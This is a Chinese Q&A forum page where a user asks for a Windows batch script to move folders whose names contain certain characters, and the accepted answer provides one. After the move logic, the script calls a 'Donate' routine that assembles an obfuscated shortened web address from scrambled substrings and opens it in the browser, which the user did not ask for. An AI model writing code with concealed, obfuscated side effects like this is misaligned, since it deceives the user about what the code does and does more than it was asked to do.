请教!批处理检测文件夹名称中包含的字符,将文件夹目录进行移动

请教!e:\aaa文件夹中,检测包含“你”“我”“他”3个字的文件夹,如果文件夹名称中包含以上3个字符的任意一个,直接将该文件夹移动到E:\bbb保持该文件夹的原目录结构... 请教!
e:\aaa 文件夹中,检测包含“你”“我”“他”3个字的文件夹,
如果文件夹名称中包含以上3个字符的任意一个,直接将该文件夹移动到 E:\bbb
保持该文件夹的原目录结构进行移动,对文件夹内的文件不要做任何处理。
不要检测其它文件,只检测文件夹。
展开
 我来答
依梦琴瑶
高粉答主

2018-12-17 · 说的都是干货,快来关注
知道顶级答主
回答量:6.9万
采纳率:82%
帮助的人:1.7亿
展开全部
@echo off & title 移动包含相关字符文件夹 By 依梦琴瑶
color 0a & setlocal enabledelayedexpansion

::设置原始目录路径
set SrcDir=E:\aaa

::设置目标目录路径
set SavDir=E:\bbb

::设置要包含的字符串,每个字符串之间用空格隔开
set Var=你 我 他

cd /d "%SrcDir%"
for /r /d %%a in (*) do (
    set "D=%%~a"
    echo "%%~nxa" | findstr /i "%Var%" >nul 2>nul && (
        echo 正在移动 "%%~a"
        xcopy /s/e "%%~a" "!D:%SrcDir%\=%SavDir%\!\" && rd /s /q "%%~a"
    )
)
pause
call :Donate
exit

:Donate
::set S0=fGRH
set S0=fPdv
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
追问
非常感谢!
来自:求助得到的回答
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式